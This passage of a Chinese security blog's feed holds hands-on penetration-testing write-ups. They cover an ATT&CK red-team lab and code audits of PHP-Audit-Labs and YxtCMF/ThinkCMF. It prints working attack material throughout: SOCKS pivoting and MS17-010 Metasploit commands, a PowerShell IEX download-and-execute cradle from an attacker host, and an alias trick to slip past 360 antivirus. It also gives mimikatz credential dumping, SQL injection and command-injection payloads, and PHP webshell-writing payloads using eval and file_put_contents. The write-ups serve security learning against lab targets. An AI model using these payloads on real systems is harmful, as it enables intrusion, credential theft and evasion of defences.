代理：</p><p>在Beacon中输入 socks 监听端口，或者右键想要作为转发的目标，在pivoting中选择 SOCKS Server ，配置监听端口后点击 launch 激活。</p><p><img src="/images/pasted-483.png" alt="upload successful"></p><p><img src="/images/pasted-484.png" alt="upload successful"></p><p><img src="/images/pasted-485.png" alt="upload successful"><br>便可个msf设置代理</p><pre><code>#设置代理 msf&gt; setg Proxies socks4:192.168.10.232:15138</code></pre><p>3.正向SOCKS代理连接</p><p>如果WEB服务器存在公网ip，且可开启任意监听端口，可建立正向SOCKS代理，将EW文件上传至WEB服务器<br>相关工具链接:<a href="https://github.com/idlefire/ew" target="_blank" rel="noopener">https://github.com/idlefire/ew</a><br>通过蚁剑上传到win7</p><pre><code>在win7上执行下面语句netsh advfirewall set allprofiles state off 关闭防火墙(之前已关闭)ew_for_Win.exe -s ssocksd -l 9999 开启socket代理</code></pre><p>浏览器挂代理还能进行进一步渗透</p><p><img src="/images/pasted-486.png" alt="upload successful"></p><p><img src="/images/pasted-487.png" alt="upload successful"></p><p>这里我们就对域控进行永恒之蓝操作</p><pre><code>设置代理setg Proxies socks5:192.168.10.232:9999use exploit/windows/smb/ms17_010_psexec   //windows 2003 的攻击模块set payload windows/meterpreter/bind_tcpset RHOST 192.168.52.138run</code></pre><p><img src="/images/pasted-488.png" alt="upload successful"><br><img src="/images/pasted-489.png" alt="upload successful"><br>成功获得域控权限</p><h3 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h3><p><a href="https://zhuanlan.zhihu.com/p/326150941" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/326150941</a><br><a href="https://zhuanlan.zhihu.com/p/358131340" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/358131340</a><br><a href="https://www.shuzhiduo.com/A/x9J2NwpEJ6/" target="_blank" rel="noopener">https://www.shuzhiduo.com/A/x9J2NwpEJ6/</a></p><h2 id="att-amp-ck红队评估实战靶场二"><a href="#att-amp-ck红队评估实战靶场二" class="headerlink" title="att&amp;ck红队评估实战靶场二"></a>att&amp;ck红队评估实战靶场二</h2><h3 id="环境搭建-1"><a href="#环境搭建-1" class="headerlink" title="环境搭建"></a>环境搭建</h3><p>靶机通用密码：  1qaz@WSX<br>记得恢复到快照v1.3</p><p><img src="/images/pasted-491.png" alt="upload successful"><br>如果你遇到这个问题</p><p><img src="/images/pasted-492.png" alt="upload successful"><br>选择“保留”还是“放弃”，此时选择“放弃”，然后重启虚拟机就可以了<br>恢复后又发现问题</p><p><img src="/images/pasted-493.png" alt="upload successful"><br>域控命令都无法连接到域控<br>需要再服务中<br>启动这项服务，不知整的对不对，运行没问题了，有问题还请大佬指点<br><img src="/images/pasted-494.png" alt="upload successful"></p><p><img src="/images/pasted-495.png" alt="upload successful"><br>由于我网络的特殊性，靶机是搭建再服务器上的web服务器vm需要桥接，才能被访问最后配置如下(可以访问web主机就不用配了)</p><p>web主机的</p><p><img src="/images/pasted-496.png" alt="upload successful"><br>最后启动Weblogic<br>在</p><pre><code>C:\Oracle\Middleware\user_projects\domains\base_domain\bin</code></pre><p>目录，使用<strong>管理员cmd</strong></p><pre><code>startWebLogic</code></pre><p><img src="/images/pasted-497.png" alt="upload successful"><br>访问</p><pre><code>http://192.168.10.176:7001/console/login/LoginForm.jsp</code></pre><p><img src="/images/pasted-498.png" alt="upload successful"><br>搭建完成</p><h3 id="web渗透"><a href="#web渗透" class="headerlink" title="web渗透"></a>web渗透</h3><p>先nmap扫描信息</p><pre><code>nmap -A 192.168.10.176</code></pre><p>扫描到WebLogic 竟然还能扫描到web.de1ay.com<br><img src="/images/pasted-499.png" alt="upload successful"><br>WebLogic涉及java相关的没怎么学过这里就先脚本梭哈了<br>工具地址</p><pre><code>链接：https://pan.baidu.com/s/1TNHMh3DNh8G86eUlb761kA 提取码：i8u0</code></pre><p><img src="/images/pasted-500.png" alt="upload successful"><br>这里通过powershell 命令<br>利用downloadstri远程读取powershell文件并iex执行<br>iex =&gt; Invoke-expression 将字符串当作powershell代码执行<br><img src="/images/pasted-501.png" alt="upload successful"></p><p><img src="/images/pasted-502.png" alt="upload successful"></p><pre><code>powershell.exe -nop -w hidden -c &quot;IEX ((new-object net.webclient).downloadstring(&#39;http://192.168.10.232:80/a&#39;))&quot;</code></pre><p>执行命令完成发现，并没上线，一看有360，啊这</p><p><img src="/images/pasted-504.png" alt="upload successful"></p><p><img src="/images/pasted-503.png" alt="upload successful"><br>将其ie改为别名试试</p><pre><code>powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString(&#39;http://192.168.10.232:80/a&#39;)</code></pre><p><img src="/images/pasted-505.png" alt="upload successful"><br>啊这还是拦截，刚学内网都遇见360<br>先上传shell吧<br>参考地址<br><a href="https://www.cnblogs.com/sstfy/p/10350915.html" target="_blank" rel="noopener">https://www.cnblogs.com/sstfy/p/10350915.html</a></p><pre><code>C:\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp</code></pre><p><img src="/images/pasted-506.png" alt="upload successful"><br>冰蝎连接<br><img src="/images/pasted-507.png" alt="upload successful"></p><p><img src="/images/pasted-508.png" alt="upload successful"></p><h3 id="如何免杀360"><a href="#如何免杀360" class="headerlink" title="如何免杀360"></a>如何免杀360</h3><p>为了免杀360专门看看了免杀相关的<br>写了个小工具，地址:</p><pre><code>https://github.com/Lmg66/shellcodeloading</code></pre><p>生成一个木马文件<br>注意个这个注释掉，因为靶机系统盘不到45g</p><p><img src="/images/pasted-519.png" alt="upload successful"></p><p><img src="/images/pasted-520.png" alt="upload successful"></p><p><img src="/images/pasted-510.png" alt="upload successful"><br>重命名一下2.exe<br>上传到C:/根目录</p><p><img src="/images/pasted-511.png" alt="upload successful"></p><p>先不要直接运行，直接运行会被360直接杀掉</p><p>我们可以测试一下，<br>写了个</p><pre><code>package mainimport &quot;fmt&quot;func main() {    fmt.Println(&quot;hello world！&quot;)}</code></pre><p>简单的打印hello world！编译为exe文件<br>命名为1.exe文件运行尝试<br><img src="/images/pasted-512.png" alt="upload successful"></p><p>ps：妈的这玩意好玄学啊(写博客的时候又试了试)<br>又能执行了<br><img src="/images/pasted-513.png" alt="upload successful"><br>直接运行2.exe还是拦截<br><img src="/images/pasted-514.png" alt="upload successful"><br>创建个批处理文件试试，重新上传一个shellcode.exe<br><img src="/images/pasted-517.png" alt="upload successful"><br>成功绕过360<br><img src="/images/pasted-521.png" alt="upload successful"></p><p><img src="/images/pasted-522.png" alt="upload successful"></p><h3 id="后渗透"><a href="#后渗透" class="headerlink" title="后渗透"></a>后渗透</h3><p>先查看系统的<br>AMD64的，安装的软件就sql server c++ c基本环境<br><img src="/images/pasted-526.png" alt="upload successful"><br>查看进程的其他杀软</p><pre><code>tasklist /SVC</code></pre><p><a href="http://ddoslinux.com/windows/index.php" target="_blank" rel="noopener">http://ddoslinux.com/windows/index.php</a><br>只有360<br><img src="/images/pasted-523.png" alt="upload successful"><br>网络信息收集<br>有两网卡<br><img src="/images/pasted-524.png" alt="upload successful"><br>查看一下域吧</p><p>可以看到是有域环境的<br><img src="/images/pasted-525.png" alt="upload successful"></p><p><img src="/images/pasted-528.png" alt="upload successful"><br>怎么还拒绝访问呢？？看了一下也是域下面的用户啊</p><p>大佬知道还请告之万分感谢</p><p>不过不影响，看下网络环境</p><p><img src="/images/pasted-529.png" alt="upload successful"><br>域控应该就是10.10.10.10了<br>利用icmp协议快速探测内网<br>快速探测内网</p><pre><code>for /L %I in (1,1,254) DO @ping -w 1 -n 1 10.10.10.%I | findstr &quot;TTL=&quot;</code></pre><p><img src="/images/pasted-532.png" alt="upload successful"><br><img src="/images/pasted-530.png" alt="upload successful"><br>用了这个扫描结果差不多，好像还有MS17-010<br><a href="https://github.com/shadow1ng/fscan" target="_blank" rel="noopener">https://github.com/shadow1ng/fscan</a><br><img src="/images/pasted-531.png" alt="upload successful"><br>通过hashdump列出机器内的用户hash，利用cs自带的mimikatz中logonpassword模块进行破解，最终得到相关域用户的hash明文<br><img src="/images/pasted-533.png" alt="upload successful"><br>psexec利用域管令牌攻击：</p><p><img src="/images/pasted-534.png" alt="upload successful"></p><p><img src="/images/pasted-539.png" alt="upload successful"></p><p><img src="/images/pasted-538.png" alt="upload successful"><br><img src="/images/pasted-537.png" alt="upload successful"><br>我靠被拦截了</p><p>想提权有360估计白给</p><p><img src="/images/pasted-540.png" alt="upload successful"><br>没办法了试了几种办法各种360各种拦截</p><p><img src="/images/pasted-541.png" alt="upload successful"><br>之前扫描有ms17_010</p><p>只能ms17_010一把梭哈啊，还好域控没有360<br>cs派生</p><p><img src="/images/pasted-543.png" alt="upload successful"><br>MSF中配置监听</p><pre><code>配置监听器 msf&gt; use exploit/multi/handler # 选择payload msf&gt; windows/meterpreter/reverse_httpmsf&gt; set lhost IP msf&gt; set lport port # 启动监听器 msf&gt; set ExitOnSession Falsemsf&gt; run -jz</code></pre><p><img src="/images/pasted-544.png" alt="upload successful"></p><p><img src="/images/pasted-545.png" alt="upload successful"></p><p><img src="/images/pasted-546.png" alt="upload successful"></p><p><img src="/images/pasted-547.png" alt="upload successful"><br>成功接收到</p><p><img src="/images/pasted-548.png" alt="upload successful"><br>梭哈梭哈</p><pre><code>添加路由run autoroute -s 10.10.10.0/24查看当前已经添加的路由run autoroute -p</code></pre><p><img src="/images/pasted-549.png" alt="upload successful"><br>进行永恒之蓝操作<br><img src="/images/pasted-551.png" alt="upload successful"></p><p><img src="/images/pasted-552.png" alt="upload successful"><br>360属实恶心啊</p><p>膜拜半凉一夏大佬:<a href="https://www.bilibili.com/video/BV1Ai4y1M7S1" target="_blank" rel="noopener">https://www.bilibili.com/video/BV1Ai4y1M7S1</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;全部靶场下载地址:&lt;a href=&quot;http://vulnstack.qiyuanxuetang.net/vuln/&quot; target=&quot;_b
      
    
    </summary>
    
    
      <category term="内网渗透" scheme="https://lnng.top/categories/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    
    
      <category term="内网渗透" scheme="https://lnng.top/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/"/>
    
      <category term="att&amp;ck红队评估实战靶场" scheme="https://lnng.top/tags/att-ck%E7%BA%A2%E9%98%9F%E8%AF%84%E4%BC%B0%E5%AE%9E%E6%88%98%E9%9D%B6%E5%9C%BA/"/>
    
  </entry>
  
  <entry>
    <title>PHP-Audit-Labs笔记</title>
    <link href="https://lnng.top/posts/bccf.html"/>
    <id>https://lnng.top/posts/bccf.html</id>
    <published>2021-05-12T11:40:00.000Z</published>
    <updated>2021-10-01T12:16:46.589Z</updated>
    
    <content type="html"><![CDATA[<h3 id="PHP-A-udit-Labs"><a href="#PHP-A-udit-Labs" class="headerlink" title="PHP-A udit-Labs"></a>PHP-A udit-Labs</h3><p>地址:<br><a href="https://github.com/hongriSec/PHP-Audit-Labs" target="_blank" rel="noopener">https://github.com/hongriSec/PHP-Audit-Labs</a></p><h3 id="in-array"><a href="#in-array" class="headerlink" title="in_array()"></a>in_array()</h3><p><img src="/images/pasted-427.png" alt="upload successful"><br>个人测试php</p><pre><code>&lt;?php$rate = $_POST[&#39;rate&#39;];$conf[&#39;Whitelist&#39;] = array(1,2,3,4,5);if(in_array($rate, $conf[&#39;Whitelist&#39;])){    echo &quot;在白名中&quot;;}else{    echo &quot;不在白名单中&quot;;}?&gt;</code></pre><p><img src="/images/pasted-428.png" alt="upload successful"><br>PHP在使用 in_array() 函数判断时，会将1 union select user(); 强制转换成数字1;容易发生在文件上传 sql中</p><p>修复:将 in_array() 函数的第三个参数设置为 true ，或者使用 intval() 函数将变量强转成数字，又或者使用正则匹配来处理变量。</p><h3 id="filter-var函数缺陷"><a href="#filter-var函数缺陷" class="headerlink" title="filter_var函数缺陷"></a>filter_var函数缺陷</h3><pre><code>// index.php&lt;?php $url = $_GET[&#39;url&#39;];if(isset($url) &amp;&amp; filter_var($url, FILTER_VALIDATE_URL)){    $site_info = parse_url($url);    if(preg_match(&#39;/sec-redclub.com$/&#39;,$site_info[&#39;host&#39;])){        exec(&#39;curl &quot;&#39;.$site_info[&#39;host&#39;].&#39;&quot;&#39;, $result);        echo &quot;&lt;center&gt;&lt;h1&gt;You have curl {$site_info[&#39;host&#39;]} successfully!&lt;/h1&gt;&lt;/center&gt;              &lt;center&gt;&lt;textarea rows=&#39;20&#39; cols=&#39;90&#39;&gt;&quot;;        echo implode(&#39; &#39;, $result);    }    else{        die(&quot;&lt;center&gt;&lt;h1&gt;Error: Host not allowed&lt;/h1&gt;&lt;/center&gt;&quot;);    }}else{    echo &quot;&lt;center&gt;&lt;h1&gt;Just curl sec-redclub.com!&lt;/h1&gt;&lt;/center&gt;&lt;br&gt;          &lt;center&gt;&lt;h3&gt;For example:?url=http://sec-redclub.com&lt;/h3&gt;&lt;/center&gt;&quot;;}?&gt;</code></pre><p>大佬绕过 filter_var</p><p><a href="https://mochazz.github.io/2018/08/18/PHP-Audit-Labs%E9%A2%98%E8%A7%A3%E4%B9%8BDay1-4/#Day2%E9%A2%98%E8%A7%A3%EF%BC%9A-By-%E4%B8%83%E6%9C%88%E7%81%AB" target="_blank" rel="noopener">https://mochazz.github.io/2018/08/18/PHP-Audit-Labs%E9%A2%98%E8%A7%A3%E4%B9%8BDay1-4/#Day2%E9%A2%98%E8%A7%A3%EF%BC%9A-By-%E4%B8%83%E6%9C%88%E7%81%AB</a></p><pre><code>http://localhost/index.php?url=http://demo.com@sec-redclub.comhttp://localhost/index.php?url=http://demo.com&amp;sec-redclub.comhttp://localhost/index.php?url=http://demo.com?sec-redclub.comhttp://localhost/index.php?url=http://demo.com/sec-redclub.comhttp://localhost/index.php?url=demo://demo.com,sec-redclub.comhttp://localhost/index.php?url=demo://demo.com:80;sec-redclub.com:80/http://localhost/index.php?url=http://demo.com#sec-redclub.com</code></pre><p><img src="/images/pasted-429.png" alt="upload successful"><br>然后就是命令执行</p><pre><code>http://localhost/index.php?url=demo://%22;ls;%23;sec-redclub.com:80/</code></pre><p><img src="/images/pasted-430.png" alt="upload successful"><br>关于curl parse_url()绕过，这大佬文章讲的手法也很nice<br><a href="https://www.anquanke.com/post/id/101058#h2-4" target="_blank" rel="noopener">https://www.anquanke.com/post/id/101058#h2-4</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;PHP-A-udit-Labs&quot;&gt;&lt;a href=&quot;#PHP-A-udit-Labs&quot; class=&quot;headerlink&quot; title=&quot;PHP-A udit-Labs&quot;&gt;&lt;/a&gt;PHP-A udit-Labs&lt;/h3&gt;&lt;p&gt;地址:&lt;br&gt;&lt;a href=&quot;ht
      
    
    </summary>
    
    
      <category term="代码审计" scheme="https://lnng.top/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
      <category term="PHP-Audit-Labs" scheme="https://lnng.top/tags/PHP-Audit-Labs/"/>
    
  </entry>
  
  <entry>
    <title>phpMVC 结构审计-YxtCMFv6.1</title>
    <link href="https://lnng.top/posts/74f.html"/>
    <id>https://lnng.top/posts/74f.html</id>
    <published>2021-04-14T12:09:00.000Z</published>
    <updated>2021-05-05T10:28:42.528Z</updated>
    
    <content type="html"><![CDATA[<h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><p>下载地址:<a href="http://down.chinaz.com/soft/38075.htm" target="_blank" rel="noopener">http://down.chinaz.com/soft/38075.htm</a></p><h3 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h3><pre><code>admin    //后台静态文件appliication    //应用文件data    //数据配置文件Expand    //扩展类库目录plugins    //插件public    //一些资源themes    //主题ueditor    //编辑器文件update    //升级文件uploads    //上传文件yxtedu    //核心目录根据Thinkphp3.2.3开发的index.php</code></pre><pre><code>application/xxx/controller    //由于是MVC架构，控制controllerapplication/xxx/Menu    //里面基本上是数组，定义了网站的一些功能名称、模块，我们可以根据这些数组查找到功能点对应的php文件data/conf/route.php    //路由文件data/conf/db.php    //数据库配置文件yxtedu/Core/Mode/Api/function.php    //thinkphp里面的一些自定义的重要函数，后面我们需要用到</code></pre><p><img src="/images/pasted-383.png" alt="upload successful"></p><h3 id="入口文件index-php"><a href="#入口文件index-php" class="headerlink" title="入口文件index.php"></a>入口文件index.php</h3><pre><code>&lt;?phpif (ini_get(&#39;magic_quotes_gpc&#39;)){    function stripslashesRecursive(array $array)    {        foreach ($array as $k =&gt; $v)        {            if (is_string($v))            {                $array[$k] = stripslashes($v);            } else            if (is_array($v))            {                $array[$k] = stripslashesRecursive($v);            }        }        return $array;    }    $_GET = stripslashesRecursive($_GET);    $_POST = stripslashesRecursive($_POST);}define(&quot;APP_DEBUG&quot;,false);define(&#39;SITE_PATH&#39;, dirname(__file__) . &quot;/&quot;);define(&#39;APP_PATH&#39;, SITE_PATH . &#39;application/&#39;);define(&#39;SPAPP_PATH&#39;, SITE_PATH . &#39;yxtedu/&#39;);define(&#39;SPAPP&#39;, &#39;./application/&#39;);define(&#39;SPSTATIC&#39;, SITE_PATH . &#39;statics/&#39;);define(&quot;RUNTIME_PATH&quot;, SITE_PATH . &quot;data/runtime/&quot;);define(&quot;HTML_PATH&quot;, SITE_PATH . &quot;data/runtime/Html/&quot;);define(&quot;THINKCMF_CORE_TAGLIBS&quot;, &#39;cx,Common\Lib\Taglib\TagLibSpadmin,Common\Lib\Taglib\TagLibHome&#39;);if (!file_exists(&quot;data/install.lock&quot;)){    if (strtolower($_GET[&#39;g&#39;]) != &quot;install&quot;)    {        header(&quot;Location:./index.php?g=install&quot;);        exit();    }}require SPAPP_PATH . &#39;Core/ThinkPHP.php&#39;;</code></pre><p>先判断是否开启magic_quotes_gpc，magic_quotes_gpc是配置在php.ini中的，他的作用类似addslashes()，就是对输入的字符创中的字符进行转义处理。他可以对$_POST、$__GET以及进行数据库操作的sql进行转义处理，防止sql注入</p><p>然后进行stripslashesRecursive()调用处理，实质是使用stripslashes(),返回一个去除转义反斜线后的字符串（&#39; 转换为 ‘ 等等）。双反斜线（\）被转换为单个反斜线（\），这里感觉岂不是更不安全</p><p>然后是给常用参数赋值，然后判断是否安装通过data/install.lock是否存在</p><h3 id="首页"><a href="#首页" class="headerlink" title="首页"></a>首页</h3><h4 id="登录功能"><a href="#登录功能" class="headerlink" title="登录功能"></a>登录功能</h4><p>首页找功能点， 先看登录功能，由于是thinkphp开发的，所以我们只需要看登录的控制器就行了</p><p> login控制器目录</p><pre><code> YxtCMF\application\User\Controller\LoginController.class.php</code></pre><p> 直接查看ajaxlogin()控制登录函数<br><img src="/images/pasted-389.png" alt="upload successful"></p><pre><code>        $username=$_POST[&#39;account&#39;];        $password=$_POST[&#39;password&#39;];        $users_model=M(&#39;Users&#39;);        if(preg_match(&#39;/^\d+$/&#39;, $username)){            $where[&#39;mobile&#39;]=$username;        }else{             if(strpos($username,&quot;@&quot;)&gt;0){                $where[&#39;user_email&#39;]=$username;            }else{                $where[&#39;user_login&#39;]=$username;            }        }             $result = $users_model-&gt;where($where)-&gt;find();</code></pre><p>POST传入值，创建一个M模型，判断了一下用户登录的方式(手机号|邮箱|id)，传入where数组，看下文档<br>文档地址:<a href="http://document.thinkphp.cn/manual_3_2.html#query_type" target="_blank" rel="noopener">http://document.thinkphp.cn/manual_3_2.html#query_type</a><br><img src="/images/pasted-385.png" alt="upload successful"><br>查询历史漏洞，发现thinkphp有个exp<br><img src="/images/pasted-386.png" alt="upload successful"><br>所以我们可以构造一个username的数组进行注入<br>payload：</p><pre><code>account[0]=exp&amp;account[1]=%3d&#39;123&#39;%20and%201%3d(updatexml(1,concat(0x3a,(select%20database())</code></pre><p><img src="/images/pasted-388.png" alt="upload successful"><br>为啥要构造两个等号，因为exp后执行的是完整的wheresql语句无等号<br>可以尝试去掉等号<br><img src="/images/pasted-387.png" alt="upload successful"><br>这里依然可以通过注册一个账号sql读取密码通过sql update来更新管理员的密码，获得管理员权限</p><h4 id="注册功能"><a href="#注册功能" class="headerlink" title="注册功能"></a>注册功能</h4><p>查看控制器</p><pre><code>application\User\Controller\LoginController.class.php</code></pre><p>查询语句取决于是否设置短信验证<br><img src="/images/pasted-390.png" alt="upload successful"><br>发现经过safe函数进行过滤<br>查看继承的控制器，找safe函数</p><pre><code>application\Common\Controller\HomebaseController.class.php</code></pre><p><img src="/images/pasted-392.png" alt="upload successful"><br>发现过滤了xss利用((xss个人认为没有，实体化了单引号，双引号，和&gt;) 和单引号 不过不影响，主要导致这里无法注入的是 $str = trim($str);<br>trim()处理的对象是字符串，测试传入数组，发现数组变为空(调试结果下图)<br><img src="/images/pasted-393.png" alt="upload successful"><br><img src="/images/pasted-391.png" alt="upload successful"><br>验证一下将$str = trim($str);给注释掉，发现注入成功<br><img src="/images/pasted-394.png" alt="upload successful"><br>所以这里应该没法注入，若分析不对请指正感谢<br>继续看一下忘记密码功能<br><img src="/images/pasted-395.png" alt="upload successful"><br>抓包看了一下调用的是</p><pre><code>application\User\Controller\RegisterController.class.php</code></pre><p>的repassword()方法，同样原理这里存在sql注入<br><img src="/images/pasted-396.png" alt="upload successful"><br>payload</p><pre><code>tel[0]=exp&amp;tel[1]=%3d1%20and%20updatexml(1,concat(0x7e,user()),1)&amp;mobileCode=&amp;password=123456789&amp;repassword=123456789</code></pre><p><img src="/images/pasted-397.png" alt="upload successful"></p><h3 id="普通用户登录"><a href="#普通用户登录" class="headerlink" title="普通用户登录"></a>普通用户登录</h3><p>更改姓名的地方存在存储xss<br><img src="/images/pasted-398.png" alt="upload successful"><br>抓包查看调用的控制器函数为</p><pre><code>application\User\Controller\SettingController.class.php</code></pre><p><img src="/images/pasted-399.png" alt="upload successful"><br>userid是没法该变的系统调用，但是保存的其他未经过任何过滤，存在储存xss,登录管理员后台，发现同样被执行，可盗取管理员cookie<br><img src="/images/pasted-400.png" alt="upload successful"></p><h3 id="管理员后台登录"><a href="#管理员后台登录" class="headerlink" title="管理员后台登录"></a>管理员后台登录</h3><h4 id="广告编辑处存在sql"><a href="#广告编辑处存在sql" class="headerlink" title="广告编辑处存在sql"></a>广告编辑处存在sql</h4><p>控制器</p><pre><code>application\Admin\Controller\AdController.class.php</code></pre><p>37行<br><img src="/images/pasted-401.png" alt="upload successful"><br>经过I函数处理，查看官方文档I函数<br><a href="http://document.thinkphp.cn/manual_3_2.html#input_filter" target="_blank" rel="noopener">http://document.thinkphp.cn/manual_3_2.html#input_filter</a><br><img src="/images/pasted-402.png" alt="upload successful"><br>后没跟过滤选项，查看全局过滤<br><img src="/images/pasted-403.png" alt="upload successful"><br>所以只是实例化了xss<br>存在sql注入<br><img src="/images/pasted-404.png" alt="upload successful"><br>同样的sql还有很多地方,不在看了</p><h4 id="添加路由处getshell"><a href="#添加路由处getshell" class="headerlink" title="添加路由处getshell"></a>添加路由处getshell</h4><pre><code>application\Admin\Controller\RouteController.class.php</code></pre><p><img src="/images/pasted-405.png" alt="upload successful"><br>查看sp_get_routes()函数</p><pre><code>application\Common\Common\function.php</code></pre><pre><code>function sp_get_routes($refresh=false){    $routes=F(&quot;routes&quot;);    if( (!empty($routes)||is_array($routes)) &amp;&amp; !$refresh){        return $routes;    }    $routes=M(&quot;Route&quot;)-&gt;where(&quot;status=1&quot;)-&gt;order(&quot;listorder asc&quot;)-&gt;select();    $all_routes=array();    $cache_routes=array();    foreach ($routes as $er){        $full_url=htmlspecialchars_decode($er[&#39;full_url&#39;]);        // 解析URL        $info   =  parse_url($full_url);        $path       =   explode(&quot;/&quot;,$info[&#39;path&#39;]);        if(count($path)!=3){//必须是完整 url            continue;        }        $module=strtolower($path[0]);        // 解析参数        $vars = array();        if(isset($info[&#39;query&#39;])) { // 解析地址里面参数 合并到vars            parse_str($info[&#39;query&#39;],$params);            $vars = array_merge($params,$vars);        }        $vars_src=$vars;        ksort($vars);        $path=$info[&#39;path&#39;];        $full_url=$path.(empty($vars)?&quot;&quot;:&quot;?&quot;).http_build_query($vars);        $url=$er[&#39;url&#39;];        if(strpos($url,&#39;:&#39;)===false){            $cache_routes[&#39;static&#39;][$full_url]=$url;        }else{            $cache_routes[&#39;dynamic&#39;][$path][]=array(&quot;query&quot;=&gt;$vars,&quot;url&quot;=&gt;$url);        }        $all_routes[$url]=$full_url;    }    F(&quot;routes&quot;,$cache_routes);    $route_dir=SITE_PATH.&quot;/data/conf/&quot;;    if(!file_exists($route_dir)){        mkdir($route_dir);    }    $route_file=$route_dir.&quot;route.php&quot;;    file_put_contents($route_file, &quot;&lt;?php\treturn &quot; . stripslashes(var_export($all_routes, true)) . &quot;;&quot;);    return $cache_routes;}</code></pre><p>最后面<br><img src="/images/pasted-406.png" alt="upload successful"></p><p><img src="/images/pasted-407.png" alt="upload successful"><br>stripslashes<br>var_export<br>相当于没启用作用，so如果可控制$all_routes通过单引号闭合变可写入木马<br><img src="/images/pasted-408.png" alt="upload successful"><br>$url直接从数据库读取没有处理，$full_url 判断了path必须大于三位<br>也就是说最少要a/b/c,<br><img src="/images/pasted-409.png" alt="upload successful"><br>所以可构造闭合单引号写入<br>payload:</p><pre><code>a/b/c&#39;,@eval($_REQUEST[&#39;a&#39;]),&#39;</code></pre><p><img src="/images/pasted-411.png" alt="upload successful"><br>一定要启用,因为where(“status=1”)<br><img src="/images/pasted-417.png" alt="upload successful"><br><img src="/images/pasted-418.png" alt="upload successful"><br>成功写入<br><img src="/images/pasted-419.png" alt="upload successful"></p><h3 id="前台getshel"><a href="#前台getshel" class="headerlink" title="前台getshel"></a>前台getshel</h3><p>任意文件读取payload:</p><pre><code>/index.php?a=display&amp;templateFile=1.txt</code></pre><p><img src="/images/pasted-420.png" alt="upload successful"><br>写入文件getshellp</p><p>pauload:</p><pre><code>index.php?a=fetch&amp;templateFile=public/index&amp;prefix=&#39;&#39;&amp;content=&lt;php&gt;file_put_contents(&#39;lnng.php&#39;,&#39;&lt;?php @eval($_POST[&quot;lnng&quot;]); ?&gt;&#39;)&lt;/php&gt;</code></pre><p><img src="/images/pasted-421.png" alt="upload successful"></p><h4 id="原理"><a href="#原理" class="headerlink" title="原理"></a>原理</h4><p>看下面这两个大佬的文章吧，写的超级详细<br><a href="https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa" target="_blank" rel="noopener">https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa</a><br><a href="https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch" target="_blank" rel="noopener">https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch</a></p><p>简单概括来说Thinkcmf是Tinkphp再开发的，他有一些Thinkphp的特性，可以通过g\m\a参数指定分组\控制器\方法，这里可以通过a参数直接调用(为啥是Portal应用,配置里有个’DEFAULT_MODULE’ =&gt;  ‘Portal’，建议看文章为啥是a和Portal)Portal\IndexController父类HomebaseController中的一些权限为public的方法(fetch方法 display方法)</p><p>然后他有对应的参数</p><p>fetch函数层层分析，最后函数中调用了loadTemplate()函数，进入到该函数中，我们可以看到content最终被赋值到了 $tmplContent参数中；<br>然后$tmplContent (content)经过编译后通过Storage::put函数保存，最终将文件生成到data/runtime/Cache/Portal文件夹中。最后在Template.class.php文件中调用了Storage::load加载cache文件，最终导致代码执行。<br><img src="/images/pasted-422.png" alt="upload successful"></p><p><img src="/images/pasted-423.png" alt="upload successful"></p><p><img src="/images/pasted-425.png" alt="upload successful"></p><p><img src="/images/pasted-424.png" alt="upload successful"><br>还是建议看上面两个大佬的文章这个地方写的非常详细</p><h3 id="参考文章"><a href="#参考文章" class="headerlink" title="参考文章"></a>参考文章</h3><p><a href="https://evi1s.com/archives/159/" target="_blank" rel="noopener">https://evi1s.com/archives/159/</a><br><a href="https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa" target="_blank" rel="noopener">https://www.yuque.com/u390550/hsy6gq/xggm0c#PmqIa</a><br><a href="https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch" target="_blank" rel="noopener">https://paper.seebug.org/1419/#41-thinkcmf-2x-fetch</a></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;配置&quot;&gt;&lt;a href=&quot;#配置&quot; class=&quot;headerlink&quot; title=&quot;配置&quot;&gt;&lt;/a&gt;配置&lt;/h3&gt;&lt;p&gt;下载地址:&lt;a href=&quot;http://down.chinaz.com/soft/38075.htm&quot; target=&quot;_blank&quot; r
      
    
    </summary>
    
    
      <category term="代码审计" scheme="https://lnng.top/categories/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
    
      <category term="MVC" scheme="https://lnng.top/tags/MVC/"/>
    
  </entry>
  
  <entry>
    <title>php代码审计初试-熊海CMS1-0</title>
    <link href="https://lnng.top/posts/e2e8.html"/>
    <id>https://lnng.top/posts/e2e8.html</id>
    <published>2021-03-17T13:08:00.000Z</published>
    <updated>2021-04-01T14:17:32.661Z</updated>
    
